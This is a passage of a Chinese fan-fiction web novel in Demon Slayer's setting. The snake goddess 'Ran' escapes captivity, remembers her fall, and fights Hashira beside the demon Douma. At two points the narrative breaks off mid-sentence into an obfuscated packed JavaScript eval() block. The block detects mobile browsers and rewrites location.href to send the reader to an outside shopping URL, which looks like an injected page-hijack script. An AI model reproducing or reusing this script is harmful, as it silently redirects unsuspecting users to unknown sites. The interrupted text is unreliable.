珠世的脸色慢慢沉寂下去。 “是你先前说的…那个心仪之人吗?你喜欢的人原来是在地狱里,而不是在人世?” “是啊。”我靠在墙上,无所谓的说,“但你别以为能用我做诱饵威胁他什么。这么说吧,他不知道我是谁,也不知道我的故事,更不知道我和他有什么过往。另外他脑子有病,你即使跟他说了我被你们抓了,哪怕把我剥了皮挂在外面,他也不会有任何反应。” 珠世悲哀的看着我,“你说的不是人类,而是一只鬼,对吗?染小姐,鬼是没有感情的生物,你被骗了。” “我从未期待过什么,自然谈不上被骗。我所做的一切只为报答他曾经的救赎,爱不爱的,人类都尚且不懂,指望鬼干什么?” 珠世轻声说,“但你之后要怎么办呢?主公他们不会放你走的。” “我是拥有神体的神灵,人类杀不了我。”我微笑道,“他们最多一直关着我,或者把我丢进这下面的死灵巢穴里。但我奉劝你们不要那样做,死灵无法寄生在神的身上,万一我跟这东西融合了,还说不准谁要倒霉。” “我不明白,染小姐,你既然是神灵,又和鬼杀队并无冤仇,为什么要帮助恶鬼?”珠世的语气有些激动,“你应该是知道的吧?鬼在世上造了多少罪孽?每一只鬼都是一样罪孽深重!” 我平静的看着她。 “因为我记得他还是人的时候的样子,那是个很温柔的孩子,想要帮助他人,想要给他人带来幸福,虽然连他自己都从未体会过究竟什么是幸福。” “珠世,人变成鬼的原因,是希望得到自己作为人类时从未得到过、以后也永远不可能得到的东西,有时甚至是很微小的东西,比如一个名字,你相信吗?会有人仅仅为了想得到一个名字就变成鬼。” 我笑着说道:“这么简单的愿望,凭什么不能实现?鬼又凭什么不能得到救赎?我啊,就是为了给这样的鬼带来救赎而生的神灵。” 珠世无言的看向另一个方向。 ”你真是…无可救药啊,染小姐。” “我知道。”我点点头,“所以不必再谈了。” 珠世在我身上贴了三道符咒,封住我的行动能力后,才沉默的走了。 我斜倚在墙边,一点点分解着自己身体里的毒素,这事对我来说有点生疏,业火之界有毒的东西不多,我的抗毒能力没有得到过多少锻炼。但因为我本体是蛇,这点毒素无法对我造成多少损害,只是需要时间。 不知过了多久,我看到右侧的天花板上开了一条黑漆漆的小缝,某种透明的东西从里面探了出来,好像一团空气。 那东西动了几下,然后神奇的事发生了,我看到谢花梅的脸出现在木板后的黑暗中。 我瞪大了眼睛看着她轻巧的落在地上,终于小声问:“你怎么找到我的?” “你身上的香味啊。”小梅理所当然的说。 “厉害,你可以出师了,真的。” 小梅一脸鄙视的压低声音道:“神明大人,你也不怎么样嘛,这就被人给抓住啦?怎么弄的都是血啊?”她的语气冷下来,“他们打你了?” “这不重要。接下来的几件事你要记好,”我快速对她说:“第一,你马上找机会跑掉,去找你哥哥。第二,告诉他们鬼杀队的主力在东面,总人数不超过两百人,先解决那边。第三也是最重要的,绝对不要告诉童磨我在这里。这个房间底下都是死灵,搞不好会炸掉。” 小梅点点头:“我知道了。那你怎么办?” “这么点小事,我自己能解决。”我冲她眨眨眼,“但你得帮我个忙,他们把我的刀不知道弄到哪里去了。它的气味应该和我身上的一样,刀刃上有莲华纹,你试着找找看。” 上弦之六不愧是上弦之六,没一会儿工夫,我看到身旁的拉门开了一条缝,我的刀被顺着门缝一点点塞了进来。我用还能动的手抓住刀身,将它缩成那把小刀最初的样子,藏进袖口里。 我待在屋子里看着纸门那边的天光慢慢亮起,死灵地狱又迎来了一个晦暗的黎明。 一侧的纸门忽然被拉开,进来的是名为修罗院千越的僧侣。 这三位柱中,只有这位的能力一直让我捉摸不透,我的动物本能告诉我这是个非常危险的人,那种无法探知其能力的空白感,让我唯独对他感到十分不安。 他朝我双手合十道:“阿弥陀佛,染小姐可有忏悔之意?在下是来听您忏悔的。” 我解毒解的有点累,于是半闭着眼睛说:“连僧人都深陷于执念吗?你怕是没读过《金刚经》?” “当然读过,染小姐想说的是‘若以色见我,以音声求我,是人行邪道,不能见如来‘,还是’一切有为法,如梦幻泡影,如露亦如电,应作如是观‘?” “都不是,是’我于往昔节节支解时,若有我相、人相、众生相、寿者相,应生嗔恨。‘” “染小姐怕是误会了,在下来到此间,并非因为贪生怕死,也并非因为嗔恨之心。仅仅是为了天道。” “何为天道?” “惩恶扬善即是天道。” 千越跪坐在我对面,“染小姐始终不肯忏悔,在下只能再使用一次时轮,看看染小姐究竟背负着怎样的罪孽。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252321|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 话音未落,那道刻满符文的圆环就已经罩上了我的头顶。 脑子中又像敲响了一千面铜锣,我的意识瞬间破碎。 洪水。 旋转的、浑浊的洪水。 奔走哭号的人群。 无人供奉的神社。 饥饿的神灵。 我是谁? 是人类,还是神灵? 是白,还是荒? 融合了人类巫女的灵魂,水神的意识陷入了前所未有的昏乱,心中仅剩下一个念头: 不可食人。 往后的十二年,水神遵守了和巫女的约定,不仅再未吃人,也拒绝了柳生大人供奉的其他供品。 因为它吞噬了她,所以它成为了她。 但代价是供奉的停止,以及神力的大幅衰退。 那一天是怎样到来的? 仿佛是洪水退去后,她沿着泥泞的河岸茫然的前行。 四处都是灾后散乱的物件,有房梁,有桌椅,有竹席,有盘碗,有断壁残垣,也有人畜发胀的尸体。 人类无法看到她,她却旁观着人类的悲苦,并因为有了一颗人心,为这些悲苦而感到锥心刺骨。 她仿佛在万物中游走,在这浓缩又碎裂了的人世间游走,不知何处是归路。 直到看到一处水洼边,有仆从模样的人在倾倒什么东西。 那似乎是一些孩子的衣物。她看到了白色的小和服,以及绣着樱花的小布包,它们浸在肮脏的泥水里,被染成了黄色。 ——你要不要出来,我有糖给你吃哦。 好像有个声音在对她说话,她茫然四顾,却找不到对方在哪里。 ——这是小的时候母亲大人帮我做的,如果丢了的话很可惜呀。 为什么丢掉了呢?这么重要的东西,要好好保管才行啊。 在那些人走后,她拼命凝聚出实体,将那只湿透了的小布包捧在手里。入夜后,她顺着上面残留的气息,找到了那一处大宅。 院内有人在喊叫,有人在哭泣。 她坐在围墙上看去,一个穿着紫色和服的女子坐在地上嚎啕。檐廊下站着另一个女人,厚厚的浓妆也遮不住面上的憔悴。 “你这贱人!”她口中的言语完全和华丽的衣着不匹配,“要不是你生下的肮脏东西,阿松也不会死!我看见你就恶心,还愣着干什么,把她给我赶出去!” 地上的女人也歇斯底里的哭喊:“你儿子死了那是他的报应,是他得罪了神明之子!我女儿当年只有九岁,她做错了什么!你就撺掇大人逼她跳河!藤月你这个狠毒的女人!你也要遭报应!” “柳生大人!您看看阿紫,她这是完全疯了!竟敢诅咒我的阿松!”檐廊下的女人也不依不饶的尖叫起来,“我可怜的儿子!十二年了!他没法安息啊!” 柳生大人也两鬓斑白了,站在檐廊下的他显得不胜其烦。 “阿紫,不要再胡言乱语了!都已经过去这么久了,你还想怎样?!当初也是你亲口同意把那孩子送给荒川之神的!” “我是同意了,但大人您说过等我生了儿子就把她接回来啊!可藤月她害我小产,我的女儿、我的女儿也被你们逼死了…” 她听的头嗡嗡作响,不知为什么,心中涌起莫名的烦躁。 “住口,你女儿是自愿献祭给荒川之神,连将军大人都亲口称赞过的!你想要败坏她的名声吗?”柳生大人不耐烦的说。 阿紫夫人大笑起来:“什么荒川之神!你们装神弄鬼了这么多年,不过是拿人喂蛇而已!难怪柳生家连一个继承人都保不住,都是因果报应啊!” “大人,快杀了这女人!她一直在诅咒我们的儿子啊!”藤月夫人哭了起来,“我受不了了,我要去见将军,我倒要看看我的兄长大人能不能为我做主!我儿子就是被她生的小怪物诅咒而死的!还有那个万世极乐教,明明就是邪祟,我要向将军大人告发他们!” “藤月,都已经过去十几年了,你现在说这些还有什么意义?”柳生大人的语气软了下来,“这样会被整个江户城当成笑柄的!” “我倒要看看谁敢笑我!柳生家失去了唯一的继承人,这些年灾祸接连不断,明明就是遭到了诅咒!”女人一直在尖叫,“诅咒不破除,柳生家一定会就此败落的!” “好好,我答应你,你不要再嚷了!”柳生大人说,“我会找人处理掉那个邪门的教会,总可以了吧?但听说那个什么神子很是不好对付,你记得吧,小时候就是个神童,现在也已经成人了吧,听说极乐教在京都那边很是盛行…” “我不管!我要请将军大人为我做主!”藤月夫人哭了起来,“我要让他们给我的阿松陪葬!” “行行行,我全都答应你,你不要闹了…” 她坐在围墙上,把每句话都听的清清楚楚,混沌一片的意念里,却只剩下一个词反复回荡: 陪葬…陪葬…陪葬…陪葬… ——请你代替我,守护在他身边。 守护…守护…守护…守护… 水神在黑暗中睁开了一双绚烂的金瞳。 瞳孔化为竖瞳,瞬间笼上了一层血色。 巨蛇的身姿显现,世界也沦入血色当中。 神明的堕落,只需要一个黑夜而已。 而人世长夜漫漫,永无止境。 45. 白姬(12) 咔。 咯咯咯。 仿佛绞盘被卡住的声响传来。头顶的时轮停止了转动。 我双手持刀,反向插进了它的中心,硬生生逼得它停了下来。 千越只愣了一秒,随即迅速后退。我面无表情的单手握住了那只时轮的边缘,它边缘的利齿刺进了我的掌心,鲜血沿着青铜的符文迅速蔓延。 那僧人下一刻就奔袭至我面前,另一只时轮朝我兜头挥舞过来。 我拎起手里那只就挡了上去。 轰然一声巨响,爆炸的冲击掀翻了屋顶和墙壁,整个大地跟着震颤了一下。 我在冲天的烟尘中站起身来,换左手持刀,右手在空中画出一字。 “沧龙·蛇牙绞。” 水的力量的确柔弱,这也是我一直以来不擅长攻击型法术,而必须依靠长刀的原因。 但我的本体是蛇神,蛇是有獠牙的。 三道布满锯齿状利刃的雪白光带撕裂空气,两道和青铜的时轮撞在一起,一道直奔僧人的身体而去,并在一片血雾过后,扯下他一条手臂来。 “你…果真是神灵?”千越的声音从半空中传来。我看到他身上又多出两条手臂,手臂上蔓延开岩缝般的纹路,每只手中各持一只时轮,加上正在迅速再生的那条,好像一尊寺庙中的四臂观音像。 “你现在才发现吗?”我摇摇头,“有点晚了呢。疾雨!” 空气中无数水珠化作寒芒,铺天盖地席卷而去。 青铜般沉重的时轮在他的手中舞动如车轮,挡掉了大半攻击的前提下,还有余力又朝我扔出两只,旋转的法器在空中腾起烈焰,转变为业火之轮。 “阿弥陀佛,神灵堕落,亦是应受天道惩罚!” “天道?亏你说的出口。你自己依靠的也不是天道,只是将这些死灵作为燃料使用罢了!” 我左手的长刀指向天空,刀刃上升起青蓝色的光焰。 既然三途河这次在天上,那就将河流拖到地上吧。 “沧龙·走蛟!” 浩大的水流从天而降,如同巨蛇在虚空中张开血盆大口,一瞬间便吞没了燃着熊熊业火的青铜轮,以及僧人的身体。 我踩着水流落在地面,看着洪流涌动,盖过了地上的建筑,但那座宅邸四周似乎有符咒保护,在浪潮退去后竟完好无损。 头顶突然传来一阵麻痹感,我反应过来,迅速挥刀挡住,一阵雷电交鸣后,隔着两道凛冽的刀光,我看到了早云熟悉的脸。 我一直觉得他是温润敦厚的青年,所以从来不曾想过有一天能看到他露出这般杀气腾腾的眼神。 “这下认真起来了?平八郎?”我笑道。 他目光闪烁了一下,眼中发红。 “停手吧。”他低声说,“染小姐,你到底想要什么?” “这个嘛,”我想了想,“想要战乱结束,大家过上和平幸福没有争端的生活。这么说是不是有点虚伪?” “的确虚伪。”早云苦笑一声,那把宽阔的反曲刀上亮起了雷电之光。 “雷之呼吸·贰之型·稻魂!” 落雷瞬间吞没了我,如同两百年前,阴阳师降下的天罚。 电光散去,我抬起手,无奈的看看自己从血肉模糊中恢复的手臂,估计脸上也好不到哪去。 友谊的小船说翻就翻。 “这是我欠你的,平八郎。”我将刀尖指向地面,缓步走向他,“你再砍我几下解解气,我再跟你打。” 他的回答干脆利索,没有一句多余的话。 ”雷之呼吸·肆之型·远雷!” 突袭至眼前的高速斩击令人眼花缭乱,即便我挥刀的速度够快,但早云的刀更沉,斩击的力道比我们那场闹着玩的比试至少大了三倍。 这就是呼吸法吗?能以凡人之身,比肩神灵的力量,真是令人惊叹! 我退开十几步和他拉开距离,反手又扔出三道蛇牙刃,但他似乎完全不在意那些锋利的牙刃在手上脸上割出的伤口,一门心思的朝我猛攻。 “雷之呼吸·伍之型·热界雷!” “雷之呼吸·陆之型·电闪雷鸣!” 他想杀我。 当意识到这一点后,我反而松了口气。 是我骗了他,他憎恨我是应该的。 作为敌人,两不相欠,最好。 我抬手,一道高速流转的水龙环绕着我升起,暂时挡住了那些接连不断的、夹着雷电的刀光,正准备思考下怎么应付这疯了似的年轻人,却没留神两道车轮般的阴影穿透水流向我袭来。 我敏捷的躲过罩上头顶的那只,却没躲过另一只,整个右肩瞬间被撕下,巨大的惯性将我撞飞了出去。 那个修罗院是什么做的啊?这样都死不了? 飞在半空中,周围的一切都好像放慢了似的,我看到早云的刀上又聚起了电光,修罗院千越的身影也破开水雾,向我的方向疾冲而来。 我脑子里迅速计算了一下,一对一的情况下我有取胜的把握,但现在是二对一,要先干掉哪个呢?实在不行只能…… 忽然之间,视野被无尽的白色笼罩。 那是空中骤降的大片飞旋的雪花,仿佛凛冬在一瞬间降临,目光所及的地面迅速笼罩上白色的冰霜,空气的温度降至冰点,无数细小通透的冰晶折射出七彩的光色。 我落入冻雾中,落入一个冰冷的怀抱里。 “诶呀呀,这是怎么了呀?” 熟悉又久违的声音在我耳边响起,好像一场隔世的幻梦。 幻梦散去,一双冰晶琉璃似的眼睛笑吟吟的贴近了我。 “好可怜啊,被人欺负了吗?果然小染自己一个人就是不行呢。” “童…童磨?” 我艰难的开口,终于叫出了这个在心中百转千回无数次的名字。 恶鬼眨了眨眼,掉下两滴虚伪的眼泪来。 “好可怜,小染脑子被打坏了吧,连人家都认不出来了?”他充满同情的伸手摸摸我的头,“稍微等下再帮你治疗哦。” “你才脑子坏了!我不是告诉小梅不让你过来吗?!” 我原地跳起来,感觉自己气炸了肺,所有计划都被打乱了。看看周围才反应过来,竟然身处少女冰偶手捧的冰莲座上。 童磨大人用扇子挡住半个脸,一双七彩大眼睛无辜的看着我:“可是小堕姬说,小染被鬼杀队打的好惨,全身都是血呢。所以人家处理好那边的事情就马上赶过来啦,虽然迟到了一点,但看到小染没有死掉,还是好开心哦!” 我捂住脸,不知道该哭还是该笑,最终挣扎不过内心的情感。 “谢谢你,我也好开心…能再见到你啊。” 话音未落,两道飞旋的时轮带着破空的鸣响再次袭至眼前。 只见灿金色的双扇在空气中舞出无数道流光,快到我几乎看不清他的动作。 “血鬼术·枯园垂雪。” 童磨脸上挂着一成不变的笑容,扇舞的轨迹上蔓延开冰霜,却凝成了纵横交错的、犹如冬日枯木的冰柱,成了一道密不透风的网,两道青铜轮瞬间就被弹开,在空中绕了个大圈,回到了修罗院千越的手上。 “啊啦,这两个柱看起来好有趣哦~那一个长了四条胳膊诶~” 童磨好像发现了什么新奇玩具的小孩子,满脸惊讶的看着地上的二人。千越抬起头,面色前所未有的凝重起来。 “你就是那个上弦鬼?”他沉声道。 白橡色头发的恶鬼站在他的莲花座上,在漫天飞雪中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252322|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像个真正的神明那样颇为优雅的倾了倾身: “上弦之贰,童磨。”他微笑着说,“阁下是岩柱吧?但使用的并不是岩之呼吸呐,是修习了其他的东西吗?这副样子看起来和鬼差不多哦?” “你小心他那个时轮,罩到头上的话会引发不好的记忆。”我提醒他。 “我看到了哦,但那是因为小染你太笨啦~”鬼笑嘻嘻的说,“那种东西的话,让它转不动不就好啦?” 正说着,就听修罗院千越爆发出一声怒吼: “恶鬼!受死!” 三道时轮从三个不同的方向同时袭来,高速旋转的轮面上燃起了熊熊业火。 童磨展开修长的双臂,冰风呼啸而起。 “血鬼术·莲叶冰·散莲华。” 又是二重叠加的血鬼术,这个家伙能不能不要这么华丽! 空中悬浮的无数冰晶突然像是有了灵魂,一部分裹挟着冰风缠上了时轮上的业火,一部分化作万千朵寒芒闪烁的冰莲之刃卷向了扑来的两人。 攀附的冰晶越来越多,转瞬就在时轮上结冻成厚厚的一层,上面燃烧的业火竟然缓缓熄灭了,那沉重的青铜轮似是不堪重负一般,竟然在我眼前坠落了下去。 “你这是什么神技能?”我愕然,“业火也能给冻上?” “小染忘了吗?之前对付业火之界的罗刹时就是这么做的哦。人家是很厉害的上弦嘛~” 下一刻雪雾突然破开,一把刀携着雷霆之势从后方劈向鬼的脖颈。 “雷之呼吸·壹之型·霹雳一闪!” 我几乎是以自己都无法想象的速度一个闪身,横刀架住了早云的刀。 “前田早云!不想死的话就给我退后!”我冲那面色阴沉的年轻人怒吼起来。 电蓝的雷光辉映在冰雪上,在我们四周降下。我看到早云在大口喘息,身上和嘴角都是血。 啊,拜托,不要这样。 “为什么?” 他紧紧盯着我,又问了一遍,“为什么?” “诶呀,这个是雷之呼吸啊,不太常见哦~” 我背后,恶鬼没有温度的声音带着轻松愉悦的语气响起: “这么高,你是怎么上来的呀?好厉害!” 早云咳了两声,那把厚重的反曲刀死死的卡在我的刀上。 童磨脸上浮现了一抹不怀好意的笑。 “啊,吸进去了吗?有没有感觉恢复速度变慢了?那是‘蚀’哦。因为大家都死掉了,冻结肺泡什么的也就没有意义了,但总要想点别的办法嘛。这个血鬼术可是我新研究的,之前对付你们这种人就很管用呢!怎么样,已经不是人类的话,应该感觉不到痛苦吧?我是很仁慈的哦~” “童磨!这人是个笨蛋,我来对付他!你先搞定另外那个!”我急切的说。 “诶?小染认识他吗?” “我…我认识他!我们是朋友,他帮过我很多次!”我努力格挡住早云的刀,感觉自己的手都在颤抖,“早云!你快给我滚开!你打不过的!快……” “我不喜欢小染有别的朋友哦。” 后背猛然蹿起一股寒意。 我缓缓回过头,看到了童磨面无表情的脸,眼中闪烁着无机质的光。 “我不喜欢哦。”他重复了一遍。 一阵寒芒伴随着血雾在我眼角的余光里炸开。 我转过头,就看到几根尖锐的冰柱交错穿过了早云的身体,他眼中的不解最终化作了一个释然的笑。 “我明白了…”他说。 然后缓缓向后倒去,坠入了白茫茫的冰雾里。 ——我知道啊,珠世大人说过,染小姐已经有心仪的对象了。我一个已死之人,也只有祝愿你往后的人生都能幸福顺遂吧。 46. 白姬(13) 我的手突然抖的握不住刀,整个人都瘫软下来。 那是人类称为悲哀的情绪,像海潮一样汹涌的淹没了我。 “诶呀,那个终于来了吗?” 身旁的恶鬼突然轻声笑道,“不错哦,已经把三个御子全都破坏了呢。” 下一刻,一股飓风携着巨大的杀意直接撞在了冰莲座上,四周的莲花纷纷碎裂,莲座底部咔的裂出一道缝隙,我本能的去抓身边的童磨,却抓了个空。 我顺着杀气的方向望向空中,震惊的发现是那个名叫宇野波宗正的灰发男子,他脸上和手臂上爬满了像是青筋似的脉络,其中涌动着死灵的绿光,这让他看起来状若真正的恶鬼。而他右手的流线型刀刃从童磨的左肩直劈到胸口,左手的刀则紧跟着砍向他的脖子。 我的头脑突然无比清醒。右手在空中一指,三道蛇牙刃如利箭一般射出,人也跟着疾冲过去。 宗正的反应极快,在蛇牙刃切割他的左手之前就挥刀挡开了前两条刀刃,但第三条依然缠上了他的手臂,割开了螺旋状的伤口,我顺势一刀斩向他的右手,他抽出刀来格挡,我于是原地转身狠狠一脚踹到他持刀的手臂上,将他蹬出几步,然后拉着童磨一路后退到安全的距离上。 “你要不要紧?”我惊魂未定的看那只鬼,却见他脸上浮现了一个近乎亢奋的笑容,七彩瞳中寒光乍起,四颗獠牙白森森的露了出来。 “好危险啊,但真是太棒了!阁下是怎么做到的呐?” 他左肩那道可怖的伤口转瞬就已愈合,手腕稍稍转了转,啪的展开了灿金的莲华扇面。 “这个毒也做的很棒呢!能麻痹血液的流动对吗?诶呀呀,我知道了!”童磨夸张的用扇子拍着手,“是那个珠世对吧?我对她配的毒药可是记忆犹新呐!小染,你看到没有?那一刀砍的真漂亮啊!我第一次遇到这么强的风柱呢!” 他舔了舔嘴角,“简直强到…让人家忍不住想要吃掉呢!” “你他妈在那边自顾自说些什么啊?垃圾!” 怒骂声携着劲风再一次杀到眼前。宗正的两把刀快如闪电,边狂砍过来边骂道:“你他妈对早云做了什么?!老子要把你切成一万片!壹之型·尘旋风·削斩!” 童磨一五一十的挥扇挡下那些狂风暴雨般的攻击,嘴巴却一刻不停:“啊啦,阁下这是在用什么力量呀?这样完全是在破坏自己的灵魂呐,而且被寄生的话就不能吃了呀,真是太可惜了……话说你们到底为什么要放弃人类的灵魂呢?人类是多么飘渺又多么伟大的存在,我最喜欢人类了~” “你先闭上嘴,好好战斗啊!”我忍无可忍的冲他喊道。 这一人一鬼的的攻击速度都太快,转瞬就过了几百招,我完全插不进去,只能在旁边用蛇牙刃时不时纠缠一下宗正,但他好像也变成了鬼,身上的伤口愈合的很快,造成的伤害几乎可以忽略不计。 在突然感到时轮那阴魂不散的气息再次袭来时,我冲童磨大喊道:“跟他拉开距离!那个千越还活着!” “没办法了,”鬼惋惜的说,“人家明明还想再玩一会儿呢,只能先认真一下啦。” 巨大的冰菩提从大地上升起,伴随而起的,是四溢的冰雾和遍地蔓延开的冰莲,那些莲蔓如同有生命的东西般卷向宗正的身影,后者发出一声咆哮: “捌之型·初裂风斩!” 莲蔓在高速的风刃中纷纷断裂,却依然有几条缠上了他的腿,让他滞后了一步,冰菩提的掌风转瞬将他拍飞了出去。 我几步跃上了睡莲菩萨的肩膀,站在上弦之贰身边,看到修罗院千越也踩着一面时轮升上了半空,手臂从四只变为了六只,同时增加的还有时轮的数量。 “啊啊,现在才要开始真正的游戏呢!”恶鬼两眼放光,“小染准备好了吗?不要死了哦~” “不会死的。”我冷静的抬起左手,腕上的银铃像一颗闪耀在暗夜里的引路星辰。 “作为你的下弦,我来为童磨大人助威吧!” “沧龙·雨瀑!” 大雨倾盆而下,在半空转化为密集的冰晶和雪花,在冰封的大地上,那些通透无暇的莲花摇曳着向天生长,如同在地狱里铺展开极乐净土的莲池。 这两个柱执念强大,借助了死灵之森的力量,肢体的再生能力几乎和鬼没有差别,但我想,在童磨的血鬼术‘蚀’发挥作用之前,拖住他们也是取胜的方法之一。 貌似童磨自己也是这么想的,大量的冰雾掺着丝丝缕缕的血色散播在空气中,这些雾似乎能够减慢死灵力量的流动速度,我记得在极乐寺一战中,他就是用冻云封住了四散的死灵。 我心思一动,在雨水中加入了净化之力,效果立竿见影,那两人的攻击速度明显没有先前那样猛烈,宗正的眼中和口鼻中更是开始慢慢渗出血来。 现在的问题就是如何应付这铺天盖地而来的五只青铜轮和风刃,于是我借助大雨,用密集的水滴制造出水幕,这些水幕又在童磨的冻气之下凝成冰墙,堪堪抵挡住了从四面八方袭来的攻击。 “诶呀,这可真是活着时没有过的体验呐。”恶鬼边挥扇甩出一记玄冬冰柱,边笑嘻嘻的说,“我终于理解那些猎鬼人为什么喜欢互相配合作战啦,有小染帮忙的感觉好棒~” “妓夫太郎呢?他一个人没问题吗?”我有点担心的问。 “才不到两百个猎鬼人而已,过来之前我处理掉一些,又留了三个御子帮他,如果再赢不了的话,就是浪费我给他的鬼血了哦~” “……我们不要拖太久了,我怕你会饿。” 那双琉璃瞳似笑非笑的看了我一眼,“小染在担心人家嘛?好开心!不过没关系哦,这一个,”他用扇子指了指上方,“已经快不行了哦。” “伍之型·寒秋落山风!” 如同龙卷风一样的斩击从上空直直的袭来,和童磨的散莲华撞击在一起,在半空炸开一片凌乱的白光。 宗正的脸近在咫尺,我发现他连眼睛里都是那种绿色的光。 “阁下~” 童磨突然扬起声音说:“光是这么打真是太无聊了!不如我们来玩个游戏?我来猜猜阁下是怎么死的吧?” 诶?这鬼抽什么风? “垃圾,你跟我…废什么话?!柒之型·天狗风!” 我挥刀斩开从身旁袭来的时轮。童磨再次用出一记枯园垂雪,嘻嘻笑道:“人家不是垃圾,是上弦之贰哦~阁下这么憎恨鬼的原因到底是什么呢?不止是被杀死亲人这么简单吧?诶呀,不会是…阁下自己也是被鬼斩杀的吧?” 宗正的瞳孔剧烈的震颤了一下。 “你…在说什么…”他脸上浮起一层清晰可见的黑气。 “我曾经听说,你们有位柱曾经背叛了鬼杀队呐。”童磨作出一副认真思考的表情,“黑死牟大人作为人类时是叫什么名字来着……对啦,是叫严胜,继国严胜,对吧?” “童磨…你不要刺激他行不行…这攻击更密集了…”我拼命用水幕抵挡那些风刃,一个疏忽,几道风刃就落在脚边,削掉了睡莲菩萨的肩膀,还好马上有更多的冰晶填补了空缺。 童磨像完全听不见似的,越说越开心: “我对黑死牟大人可是熟悉的很,毕竟我们的排位很靠近嘛,虽然人家从来没有想过挑战他的地位,但对他个人的过往还是很感兴趣的哦~听说他当年可是提着你们主公的头来投奔无惨大人的呐,还顺手帮忙把鬼杀队清理了一遍…啊,您不会就是那个时候被他斩杀的吧?” “你给我…闭上嘴啊!” “玖之型·韦驮天台风!” 睡莲菩萨扬起双手,手腕在狂暴的斩击下应声而断。 “童磨!”我尖叫一声,却见那鬼的眼中闪过一线狡黠的光。 宗正的身影穿破风雪,双手持刀,像一只展开翅膀的巨鹰般扑了下来。 我完全没看清童磨的动作,只看到两道金光在空中划出狠厉的曲线。 噗。 轻轻一声响后,是喷溅到脸上的温热液体。 真奇怪,明明是已经死去的人,为什么血还是热的? 我扭头,看到童磨的一只手穿透了那灰发男人的胸膛,另一只手持扇插进了他的脖子。 恶鬼面无表情的看了眼卡在自己肩头的刀,那刀刃上还跳动着幽幽的青芒,好像难以瞑目的眼睛。 随即他脸上浮起了一个恬静的微笑,恰如两百年前,那位在神辇之上睁开虹彩双瞳的神明之子。 “就让我来救赎阁下,去往极乐吧。” 他温和的说道。 持扇的手轻轻一动,稳稳的托住了宗正的头,鲜血沿着扇面倾泻而下,勾勒出莲华的纹路。 深入对方胸腔的手则掏出了一颗绿色的晶体,随着那颗晶体的离开,宗正的身体开始崩解成尘埃。 灰发男人的头颅大睁着眼,看向了苍穹的方向。 “竟然…有一道光么?“ 最后一句喃喃的话语后,名为宇野波宗正的男人,消散成寒夜中的几点白光。 “阿弥陀佛。” 我听到一声沉浑的佛号在不远处响起。 本能让我迅速做出反应,三道蛇牙刃横亘在睡莲菩萨和那名叫千越的僧侣之间,我厉声道:“该结束了!修罗院千越!不要再做无谓的牺牲了!这种战斗根本没有意义!” 千越和他的时轮浮于风雪之中,僧侣静肃的面孔上第一次有了迷惑的表情。 “恶鬼…竟然有了以杀戮为救度之法的信念么?这不可能…” “阁下说起这个的话,我可是很有经验呢~” 童磨微笑着,一副相当自我陶醉的表情。 “我曾是万世极乐教的教主,在人世时的使命就是帮助那些受苦的人前往极乐净土哦,即使在变成鬼以后的两百年,我也有在努力工作呐,无数的人经过我的救赎到达了永恒的极乐,再也没有痛苦了呢。” “住口!”千越愤怒的吼道,“不准玷污救赎这个词!你只是杀戮成性的恶鬼,竟然编造出此等谎言来欺瞒世人,真是不可原谅,给我忏悔!” 三只时轮携着杀气凌空降下,童磨挥扇撑开了一道冰壁,卡住了其中的两只,竟然伸手抓住了最后一只旋转着的青铜轮。 “小染说,这个会引发不好的记忆,对吗?”他好奇的端详着轮面上的符文。 预感不妙,我马上制止:“不行!你别…” 话音未落,就看他像拿起教主的毗卢帽那样,将那只轮子轻轻放在自己头顶。 时轮的符文间蔓延开一层雪色的光华,恶鬼那双奇特的七彩琉璃的瞳中闪现了某种激动的神情。 “诶诶,真的可以清楚的看到呢!两百年来所有的记忆…我就说我是上弦当中记性最好的嘛!” 鬼眨了眨眼,“可是,没有不好的记忆呐,也没有好的记忆。话说,究竟什么是 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“还有真奈夫人,她的丈夫是浅草那边有名的商人,但一直喜欢虐待她,所以她全身都是伤呢。即使这样,她也觉得是自己有罪才招致了这样的不幸,所以时常来找我忏悔呐,真是个诚实的女人,让人实在看不下去啊。” “啊,这个是竹下先生,我一般不太喜欢送男人去极乐,但他实在太可怜啦,家里人都死在瘟疫里了,他自己活着也很痛苦,就来求我送他去极乐,我可是个温柔善良的人,对于这种请求……” “恶鬼…你住口……给我住口!”千越几乎露出了绝望的神情,迅速收回了时轮,退出了几十步远。 “诶呀,您这就受不了了吗?”童磨歪歪头,微笑起来,“我懂了,对于人类来说,果然还是很难接受吧,活着就是痛苦的这件事…但作为神明之子的我,是感受不到痛苦的哦,从小就没有任何感觉呢。所以您看,这就是我两百年来的工作,虽然有点无聊,但也是重要的工作哦。” 他展开了金扇,“现在我问您,要不要我帮您前往极乐呀?我非常乐意效劳~” 修罗院千越全身升腾起荧绿色的灵光,额上蔓延开和宗正一样的脉络。 “恶鬼,你已成邪魔……我绝不可能放你离开这里!” 六只青铜时轮同时升上了天空,却在发出一阵金属摩擦的鸣响后,断裂为许多节碎片,那些碎片迅速组合成一个更为巨大的圆环,圆环中光华涌动,仅仅片刻之后,突然出现了一片碧蓝的晴空。 晴空当中,是一轮光耀的太阳,浩荡的日光通过时轮的投影,洒向这深不见底的无间地狱。 目光所及的一切黑暗都被光芒照亮。那本来应该是梦中才有的美好景象,我却如坠深渊。 